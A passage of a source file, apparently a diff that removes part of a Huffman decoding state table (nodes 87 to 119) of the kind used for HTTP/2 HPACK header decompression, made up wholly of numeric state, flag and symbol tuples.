HUFFMAN_EMIT_SYMBOL, 36), - - # Node 87 - (3, HUFFMAN_EMIT_SYMBOL, 64), - (6, HUFFMAN_EMIT_SYMBOL, 64), - (10, HUFFMAN_EMIT_SYMBOL, 64), - (15, HUFFMAN_EMIT_SYMBOL, 64), - (24, HUFFMAN_EMIT_SYMBOL, 64), - (31, HUFFMAN_EMIT_SYMBOL, 64), - (41, HUFFMAN_EMIT_SYMBOL, 64), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 64), - (3, HUFFMAN_EMIT_SYMBOL, 91), - (6, HUFFMAN_EMIT_SYMBOL, 91), - (10, HUFFMAN_EMIT_SYMBOL, 91), - (15, HUFFMAN_EMIT_SYMBOL, 91), - (24, HUFFMAN_EMIT_SYMBOL, 91), - (31, HUFFMAN_EMIT_SYMBOL, 91), - (41, HUFFMAN_EMIT_SYMBOL, 91), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 91), - - # Node 88 - (2, HUFFMAN_EMIT_SYMBOL, 93), - (9, HUFFMAN_EMIT_SYMBOL, 93), - (23, HUFFMAN_EMIT_SYMBOL, 93), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 93), - (2, HUFFMAN_EMIT_SYMBOL, 126), - (9, HUFFMAN_EMIT_SYMBOL, 126), - (23, HUFFMAN_EMIT_SYMBOL, 126), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 126), - (1, HUFFMAN_EMIT_SYMBOL, 94), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 94), - (1, HUFFMAN_EMIT_SYMBOL, 125), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 125), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 60), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 96), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 123), - (95, 0, 0), - - # Node 89 - (3, HUFFMAN_EMIT_SYMBOL, 93), - (6, HUFFMAN_EMIT_SYMBOL, 93), - (10, HUFFMAN_EMIT_SYMBOL, 93), - (15, HUFFMAN_EMIT_SYMBOL, 93), - (24, HUFFMAN_EMIT_SYMBOL, 93), - (31, HUFFMAN_EMIT_SYMBOL, 93), - (41, HUFFMAN_EMIT_SYMBOL, 93), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 93), - (3, HUFFMAN_EMIT_SYMBOL, 126), - (6, HUFFMAN_EMIT_SYMBOL, 126), - (10, HUFFMAN_EMIT_SYMBOL, 126), - (15, HUFFMAN_EMIT_SYMBOL, 126), - (24, HUFFMAN_EMIT_SYMBOL, 126), - (31, HUFFMAN_EMIT_SYMBOL, 126), - (41, HUFFMAN_EMIT_SYMBOL, 126), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 126), - - # Node 90 - (2, HUFFMAN_EMIT_SYMBOL, 94), - (9, HUFFMAN_EMIT_SYMBOL, 94), - (23, HUFFMAN_EMIT_SYMBOL, 94), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 94), - (2, HUFFMAN_EMIT_SYMBOL, 125), - (9, HUFFMAN_EMIT_SYMBOL, 125), - (23, HUFFMAN_EMIT_SYMBOL, 125), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 125), - (1, HUFFMAN_EMIT_SYMBOL, 60), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 60), - (1, HUFFMAN_EMIT_SYMBOL, 96), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 96), - (1, HUFFMAN_EMIT_SYMBOL, 123), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 123), - (96, 0, 0), - (110, 0, 0), - - # Node 91 - (3, HUFFMAN_EMIT_SYMBOL, 94), - (6, HUFFMAN_EMIT_SYMBOL, 94), - (10, HUFFMAN_EMIT_SYMBOL, 94), - (15, HUFFMAN_EMIT_SYMBOL, 94), - (24, HUFFMAN_EMIT_SYMBOL, 94), - (31, HUFFMAN_EMIT_SYMBOL, 94), - (41, HUFFMAN_EMIT_SYMBOL, 94), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 94), - (3, HUFFMAN_EMIT_SYMBOL, 125), - (6, HUFFMAN_EMIT_SYMBOL, 125), - (10, HUFFMAN_EMIT_SYMBOL, 125), - (15, HUFFMAN_EMIT_SYMBOL, 125), - (24, HUFFMAN_EMIT_SYMBOL, 125), - (31, HUFFMAN_EMIT_SYMBOL, 125), - (41, HUFFMAN_EMIT_SYMBOL, 125), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 125), - - # Node 92 - (2, HUFFMAN_EMIT_SYMBOL, 60), - (9, HUFFMAN_EMIT_SYMBOL, 60), - (23, HUFFMAN_EMIT_SYMBOL, 60), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 60), - (2, HUFFMAN_EMIT_SYMBOL, 96), - (9, HUFFMAN_EMIT_SYMBOL, 96), - (23, HUFFMAN_EMIT_SYMBOL, 96), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 96), - (2, HUFFMAN_EMIT_SYMBOL, 123), - (9, HUFFMAN_EMIT_SYMBOL, 123), - (23, HUFFMAN_EMIT_SYMBOL, 123), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 123), - (97, 0, 0), - (101, 0, 0), - (111, 0, 0), - (133, 0, 0), - - # Node 93 - (3, HUFFMAN_EMIT_SYMBOL, 60), - (6, HUFFMAN_EMIT_SYMBOL, 60), - (10, HUFFMAN_EMIT_SYMBOL, 60), - (15, HUFFMAN_EMIT_SYMBOL, 60), - (24, HUFFMAN_EMIT_SYMBOL, 60), - (31, HUFFMAN_EMIT_SYMBOL, 60), - (41, HUFFMAN_EMIT_SYMBOL, 60), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 60), - (3, HUFFMAN_EMIT_SYMBOL, 96), - (6, HUFFMAN_EMIT_SYMBOL, 96), - (10, HUFFMAN_EMIT_SYMBOL, 96), - (15, HUFFMAN_EMIT_SYMBOL, 96), - (24, HUFFMAN_EMIT_SYMBOL, 96), - (31, HUFFMAN_EMIT_SYMBOL, 96), - (41, HUFFMAN_EMIT_SYMBOL, 96), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 96), - - # Node 94 - (3, HUFFMAN_EMIT_SYMBOL, 123), - (6, HUFFMAN_EMIT_SYMBOL, 123), - (10, HUFFMAN_EMIT_SYMBOL, 123), - (15, HUFFMAN_EMIT_SYMBOL, 123), - (24, HUFFMAN_EMIT_SYMBOL, 123), - (31, HUFFMAN_EMIT_SYMBOL, 123), - (41, HUFFMAN_EMIT_SYMBOL, 123), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 123), - (98, 0, 0), - (99, 0, 0), - (102, 0, 0), - (105, 0, 0), - (112, 0, 0), - (119, 0, 0), - (134, 0, 0), - (153, 0, 0), - - # Node 95 - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 92), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 195), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 208), - (100, 0, 0), - (103, 0, 0), - (104, 0, 0), - (106, 0, 0), - (107, 0, 0), - (113, 0, 0), - (116, 0, 0), - (120, 0, 0), - (126, 0, 0), - (135, 0, 0), - (142, 0, 0), - (154, 0, 0), - (169, 0, 0), - - # Node 96 - (1, HUFFMAN_EMIT_SYMBOL, 92), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 92), - (1, HUFFMAN_EMIT_SYMBOL, 195), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 195), - (1, HUFFMAN_EMIT_SYMBOL, 208), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 208), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 128), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 130), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 131), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 162), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 184), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 194), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 224), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 226), - (108, 0, 0), - (109, 0, 0), - - # Node 97 - (2, HUFFMAN_EMIT_SYMBOL, 92), - (9, HUFFMAN_EMIT_SYMBOL, 92), - (23, HUFFMAN_EMIT_SYMBOL, 92), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 92), - (2, HUFFMAN_EMIT_SYMBOL, 195), - (9, HUFFMAN_EMIT_SYMBOL, 195), - (23, HUFFMAN_EMIT_SYMBOL, 195), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 195), - (2, HUFFMAN_EMIT_SYMBOL, 208), - (9, HUFFMAN_EMIT_SYMBOL, 208), - (23, HUFFMAN_EMIT_SYMBOL, 208), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 208), - (1, HUFFMAN_EMIT_SYMBOL, 128), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 128), - (1, HUFFMAN_EMIT_SYMBOL, 130), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 130), - - # Node 98 - (3, HUFFMAN_EMIT_SYMBOL, 92), - (6, HUFFMAN_EMIT_SYMBOL, 92), - (10, HUFFMAN_EMIT_SYMBOL, 92), - (15, HUFFMAN_EMIT_SYMBOL, 92), - (24, HUFFMAN_EMIT_SYMBOL, 92), - (31, HUFFMAN_EMIT_SYMBOL, 92), - (41, HUFFMAN_EMIT_SYMBOL, 92), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 92), - (3, HUFFMAN_EMIT_SYMBOL, 195), - (6, HUFFMAN_EMIT_SYMBOL, 195), - (10, HUFFMAN_EMIT_SYMBOL, 195), - (15, HUFFMAN_EMIT_SYMBOL, 195), - (24, HUFFMAN_EMIT_SYMBOL, 195), - (31, HUFFMAN_EMIT_SYMBOL, 195), - (41, HUFFMAN_EMIT_SYMBOL, 195), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 195), - - # Node 99 - (3, HUFFMAN_EMIT_SYMBOL, 208), - (6, HUFFMAN_EMIT_SYMBOL, 208), - (10, HUFFMAN_EMIT_SYMBOL, 208), - (15, HUFFMAN_EMIT_SYMBOL, 208), - (24, HUFFMAN_EMIT_SYMBOL, 208), - (31, HUFFMAN_EMIT_SYMBOL, 208), - (41, HUFFMAN_EMIT_SYMBOL, 208), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 208), - (2, HUFFMAN_EMIT_SYMBOL, 128), - (9, HUFFMAN_EMIT_SYMBOL, 128), - (23, HUFFMAN_EMIT_SYMBOL, 128), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 128), - (2, HUFFMAN_EMIT_SYMBOL, 130), - (9, HUFFMAN_EMIT_SYMBOL, 130), - (23, HUFFMAN_EMIT_SYMBOL, 130), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 130), - - # Node 100 - (3, HUFFMAN_EMIT_SYMBOL, 128), - (6, HUFFMAN_EMIT_SYMBOL, 128), - (10, HUFFMAN_EMIT_SYMBOL, 128), - (15, HUFFMAN_EMIT_SYMBOL, 128), - (24, HUFFMAN_EMIT_SYMBOL, 128), - (31, HUFFMAN_EMIT_SYMBOL, 128), - (41, HUFFMAN_EMIT_SYMBOL, 128), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 128), - (3, HUFFMAN_EMIT_SYMBOL, 130), - (6, HUFFMAN_EMIT_SYMBOL, 130), - (10, HUFFMAN_EMIT_SYMBOL, 130), - (15, HUFFMAN_EMIT_SYMBOL, 130), - (24, HUFFMAN_EMIT_SYMBOL, 130), - (31, HUFFMAN_EMIT_SYMBOL, 130), - (41, HUFFMAN_EMIT_SYMBOL, 130), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 130), - - # Node 101 - (1, HUFFMAN_EMIT_SYMBOL, 131), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 131), - (1, HUFFMAN_EMIT_SYMBOL, 162), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 162), - (1, HUFFMAN_EMIT_SYMBOL, 184), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 184), - (1, HUFFMAN_EMIT_SYMBOL, 194), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 194), - (1, HUFFMAN_EMIT_SYMBOL, 224), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 224), - (1, HUFFMAN_EMIT_SYMBOL, 226), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 226), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 153), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 161), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 167), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 172), - - # Node 102 - (2, HUFFMAN_EMIT_SYMBOL, 131), - (9, HUFFMAN_EMIT_SYMBOL, 131), - (23, HUFFMAN_EMIT_SYMBOL, 131), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 131), - (2, HUFFMAN_EMIT_SYMBOL, 162), - (9, HUFFMAN_EMIT_SYMBOL, 162), - (23, HUFFMAN_EMIT_SYMBOL, 162), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 162), - (2, HUFFMAN_EMIT_SYMBOL, 184), - (9, HUFFMAN_EMIT_SYMBOL, 184), - (23, HUFFMAN_EMIT_SYMBOL, 184), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 184), - (2, HUFFMAN_EMIT_SYMBOL, 194), - (9, HUFFMAN_EMIT_SYMBOL, 194), - (23, HUFFMAN_EMIT_SYMBOL, 194), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 194), - - # Node 103 - (3, HUFFMAN_EMIT_SYMBOL, 131), - (6, HUFFMAN_EMIT_SYMBOL, 131), - (10, HUFFMAN_EMIT_SYMBOL, 131), - (15, HUFFMAN_EMIT_SYMBOL, 131), - (24, HUFFMAN_EMIT_SYMBOL, 131), - (31, HUFFMAN_EMIT_SYMBOL, 131), - (41, HUFFMAN_EMIT_SYMBOL, 131), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 131), - (3, HUFFMAN_EMIT_SYMBOL, 162), - (6, HUFFMAN_EMIT_SYMBOL, 162), - (10, HUFFMAN_EMIT_SYMBOL, 162), - (15, HUFFMAN_EMIT_SYMBOL, 162), - (24, HUFFMAN_EMIT_SYMBOL, 162), - (31, HUFFMAN_EMIT_SYMBOL, 162), - (41, HUFFMAN_EMIT_SYMBOL, 162), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 162), - - # Node 104 - (3, HUFFMAN_EMIT_SYMBOL, 184), - (6, HUFFMAN_EMIT_SYMBOL, 184), - (10, HUFFMAN_EMIT_SYMBOL, 184), - (15, HUFFMAN_EMIT_SYMBOL, 184), - (24, HUFFMAN_EMIT_SYMBOL, 184), - (31, HUFFMAN_EMIT_SYMBOL, 184), - (41, HUFFMAN_EMIT_SYMBOL, 184), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 184), - (3, HUFFMAN_EMIT_SYMBOL, 194), - (6, HUFFMAN_EMIT_SYMBOL, 194), - (10, HUFFMAN_EMIT_SYMBOL, 194), - (15, HUFFMAN_EMIT_SYMBOL, 194), - (24, HUFFMAN_EMIT_SYMBOL, 194), - (31, HUFFMAN_EMIT_SYMBOL, 194), - (41, HUFFMAN_EMIT_SYMBOL, 194), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 194), - - # Node 105 - (2, HUFFMAN_EMIT_SYMBOL, 224), - (9, HUFFMAN_EMIT_SYMBOL, 224), - (23, HUFFMAN_EMIT_SYMBOL, 224), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 224), - (2, HUFFMAN_EMIT_SYMBOL, 226), - (9, HUFFMAN_EMIT_SYMBOL, 226), - (23, HUFFMAN_EMIT_SYMBOL, 226), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 226), - (1, HUFFMAN_EMIT_SYMBOL, 153), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 153), - (1, HUFFMAN_EMIT_SYMBOL, 161), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 161), - (1, HUFFMAN_EMIT_SYMBOL, 167), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 167), - (1, HUFFMAN_EMIT_SYMBOL, 172), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 172), - - # Node 106 - (3, HUFFMAN_EMIT_SYMBOL, 224), - (6, HUFFMAN_EMIT_SYMBOL, 224), - (10, HUFFMAN_EMIT_SYMBOL, 224), - (15, HUFFMAN_EMIT_SYMBOL, 224), - (24, HUFFMAN_EMIT_SYMBOL, 224), - (31, HUFFMAN_EMIT_SYMBOL, 224), - (41, HUFFMAN_EMIT_SYMBOL, 224), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 224), - (3, HUFFMAN_EMIT_SYMBOL, 226), - (6, HUFFMAN_EMIT_SYMBOL, 226), - (10, HUFFMAN_EMIT_SYMBOL, 226), - (15, HUFFMAN_EMIT_SYMBOL, 226), - (24, HUFFMAN_EMIT_SYMBOL, 226), - (31, HUFFMAN_EMIT_SYMBOL, 226), - (41, HUFFMAN_EMIT_SYMBOL, 226), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 226), - - # Node 107 - (2, HUFFMAN_EMIT_SYMBOL, 153), - (9, HUFFMAN_EMIT_SYMBOL, 153), - (23, HUFFMAN_EMIT_SYMBOL, 153), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 153), - (2, HUFFMAN_EMIT_SYMBOL, 161), - (9, HUFFMAN_EMIT_SYMBOL, 161), - (23, HUFFMAN_EMIT_SYMBOL, 161), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 161), - (2, HUFFMAN_EMIT_SYMBOL, 167), - (9, HUFFMAN_EMIT_SYMBOL, 167), - (23, HUFFMAN_EMIT_SYMBOL, 167), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 167), - (2, HUFFMAN_EMIT_SYMBOL, 172), - (9, HUFFMAN_EMIT_SYMBOL, 172), - (23, HUFFMAN_EMIT_SYMBOL, 172), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 172), - - # Node 108 - (3, HUFFMAN_EMIT_SYMBOL, 153), - (6, HUFFMAN_EMIT_SYMBOL, 153), - (10, HUFFMAN_EMIT_SYMBOL, 153), - (15, HUFFMAN_EMIT_SYMBOL, 153), - (24, HUFFMAN_EMIT_SYMBOL, 153), - (31, HUFFMAN_EMIT_SYMBOL, 153), - (41, HUFFMAN_EMIT_SYMBOL, 153), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 153), - (3, HUFFMAN_EMIT_SYMBOL, 161), - (6, HUFFMAN_EMIT_SYMBOL, 161), - (10, HUFFMAN_EMIT_SYMBOL, 161), - (15, HUFFMAN_EMIT_SYMBOL, 161), - (24, HUFFMAN_EMIT_SYMBOL, 161), - (31, HUFFMAN_EMIT_SYMBOL, 161), - (41, HUFFMAN_EMIT_SYMBOL, 161), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 161), - - # Node 109 - (3, HUFFMAN_EMIT_SYMBOL, 167), - (6, HUFFMAN_EMIT_SYMBOL, 167), - (10, HUFFMAN_EMIT_SYMBOL, 167), - (15, HUFFMAN_EMIT_SYMBOL, 167), - (24, HUFFMAN_EMIT_SYMBOL, 167), - (31, HUFFMAN_EMIT_SYMBOL, 167), - (41, HUFFMAN_EMIT_SYMBOL, 167), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 167), - (3, HUFFMAN_EMIT_SYMBOL, 172), - (6, HUFFMAN_EMIT_SYMBOL, 172), - (10, HUFFMAN_EMIT_SYMBOL, 172), - (15, HUFFMAN_EMIT_SYMBOL, 172), - (24, HUFFMAN_EMIT_SYMBOL, 172), - (31, HUFFMAN_EMIT_SYMBOL, 172), - (41, HUFFMAN_EMIT_SYMBOL, 172), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 172), - - # Node 110 - (114, 0, 0), - (115, 0, 0), - (117, 0, 0), - (118, 0, 0), - (121, 0, 0), - (123, 0, 0), - (127, 0, 0), - (130, 0, 0), - (136, 0, 0), - (139, 0, 0), - (143, 0, 0), - (146, 0, 0), - (155, 0, 0), - (162, 0, 0), - (170, 0, 0), - (180, 0, 0), - - # Node 111 - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 176), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 177), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 179), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 209), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 216), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 217), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 227), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 229), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 230), - (122, 0, 0), - (124, 0, 0), - (125, 0, 0), - (128, 0, 0), - (129, 0, 0), - (131, 0, 0), - (132, 0, 0), - - # Node 112 - (1, HUFFMAN_EMIT_SYMBOL, 176), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 176), - (1, HUFFMAN_EMIT_SYMBOL, 177), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 177), - (1, HUFFMAN_EMIT_SYMBOL, 179), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 179), - (1, HUFFMAN_EMIT_SYMBOL, 209), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 209), - (1, HUFFMAN_EMIT_SYMBOL, 216), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 216), - (1, HUFFMAN_EMIT_SYMBOL, 217), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 217), - (1, HUFFMAN_EMIT_SYMBOL, 227), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 227), - (1, HUFFMAN_EMIT_SYMBOL, 229), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 229), - - # Node 113 - (2, HUFFMAN_EMIT_SYMBOL, 176), - (9, HUFFMAN_EMIT_SYMBOL, 176), - (23, HUFFMAN_EMIT_SYMBOL, 176), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 176), - (2, HUFFMAN_EMIT_SYMBOL, 177), - (9, HUFFMAN_EMIT_SYMBOL, 177), - (23, HUFFMAN_EMIT_SYMBOL, 177), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 177), - (2, HUFFMAN_EMIT_SYMBOL, 179), - (9, HUFFMAN_EMIT_SYMBOL, 179), - (23, HUFFMAN_EMIT_SYMBOL, 179), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 179), - (2, HUFFMAN_EMIT_SYMBOL, 209), - (9, HUFFMAN_EMIT_SYMBOL, 209), - (23, HUFFMAN_EMIT_SYMBOL, 209), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 209), - - # Node 114 - (3, HUFFMAN_EMIT_SYMBOL, 176), - (6, HUFFMAN_EMIT_SYMBOL, 176), - (10, HUFFMAN_EMIT_SYMBOL, 176), - (15, HUFFMAN_EMIT_SYMBOL, 176), - (24, HUFFMAN_EMIT_SYMBOL, 176), - (31, HUFFMAN_EMIT_SYMBOL, 176), - (41, HUFFMAN_EMIT_SYMBOL, 176), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 176), - (3, HUFFMAN_EMIT_SYMBOL, 177), - (6, HUFFMAN_EMIT_SYMBOL, 177), - (10, HUFFMAN_EMIT_SYMBOL, 177), - (15, HUFFMAN_EMIT_SYMBOL, 177), - (24, HUFFMAN_EMIT_SYMBOL, 177), - (31, HUFFMAN_EMIT_SYMBOL, 177), - (41, HUFFMAN_EMIT_SYMBOL, 177), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 177), - - # Node 115 - (3, HUFFMAN_EMIT_SYMBOL, 179), - (6, HUFFMAN_EMIT_SYMBOL, 179), - (10, HUFFMAN_EMIT_SYMBOL, 179), - (15, HUFFMAN_EMIT_SYMBOL, 179), - (24, HUFFMAN_EMIT_SYMBOL, 179), - (31, HUFFMAN_EMIT_SYMBOL, 179), - (41, HUFFMAN_EMIT_SYMBOL, 179), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 179), - (3, HUFFMAN_EMIT_SYMBOL, 209), - (6, HUFFMAN_EMIT_SYMBOL, 209), - (10, HUFFMAN_EMIT_SYMBOL, 209), - (15, HUFFMAN_EMIT_SYMBOL, 209), - (24, HUFFMAN_EMIT_SYMBOL, 209), - (31, HUFFMAN_EMIT_SYMBOL, 209), - (41, HUFFMAN_EMIT_SYMBOL, 209), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 209), - - # Node 116 - (2, HUFFMAN_EMIT_SYMBOL, 216), - (9, HUFFMAN_EMIT_SYMBOL, 216), - (23, HUFFMAN_EMIT_SYMBOL, 216), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 216), - (2, HUFFMAN_EMIT_SYMBOL, 217), - (9, HUFFMAN_EMIT_SYMBOL, 217), - (23, HUFFMAN_EMIT_SYMBOL, 217), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 217), - (2, HUFFMAN_EMIT_SYMBOL, 227), - (9, HUFFMAN_EMIT_SYMBOL, 227), - (23, HUFFMAN_EMIT_SYMBOL, 227), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 227), - (2, HUFFMAN_EMIT_SYMBOL, 229), - (9, HUFFMAN_EMIT_SYMBOL, 229), - (23, HUFFMAN_EMIT_SYMBOL, 229), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 229), - - # Node 117 - (3, HUFFMAN_EMIT_SYMBOL, 216), - (6, HUFFMAN_EMIT_SYMBOL, 216), - (10, HUFFMAN_EMIT_SYMBOL, 216), - (15, HUFFMAN_EMIT_SYMBOL, 216), - (24, HUFFMAN_EMIT_SYMBOL, 216), - (31, HUFFMAN_EMIT_SYMBOL, 216), - (41, HUFFMAN_EMIT_SYMBOL, 216), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 216), - (3, HUFFMAN_EMIT_SYMBOL, 217), - (6, HUFFMAN_EMIT_SYMBOL, 217), - (10, HUFFMAN_EMIT_SYMBOL, 217), - (15, HUFFMAN_EMIT_SYMBOL, 217), - (24, HUFFMAN_EMIT_SYMBOL, 217), - (31, HUFFMAN_EMIT_SYMBOL, 217), - (41, HUFFMAN_EMIT_SYMBOL, 217), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 217), - - # Node 118 - (3, HUFFMAN_EMIT_SYMBOL, 227), - (6, HUFFMAN_EMIT_SYMBOL, 227), - (10, HUFFMAN_EMIT_SYMBOL, 227), - (15, HUFFMAN_EMIT_SYMBOL, 227), - (24, HUFFMAN_EMIT_SYMBOL, 227), - (31, HUFFMAN_EMIT_SYMBOL, 227), - (41, HUFFMAN_EMIT_SYMBOL, 227), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 227), - (3, HUFFMAN_EMIT_SYMBOL, 229), - (6, HUFFMAN_EMIT_SYMBOL, 229), - (10, HUFFMAN_EMIT_SYMBOL, 229), - (15, HUFFMAN_EMIT_SYMBOL, 229), - (24, HUFFMAN_EMIT_SYMBOL, 229), - (31, HUFFMAN_EMIT_SYMBOL, 229), - (41, HUFFMAN_EMIT_SYMBOL, 229), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 229), - - # Node 119 - (1, HUFFMAN_EMIT_SYMBOL, 230), - (22, 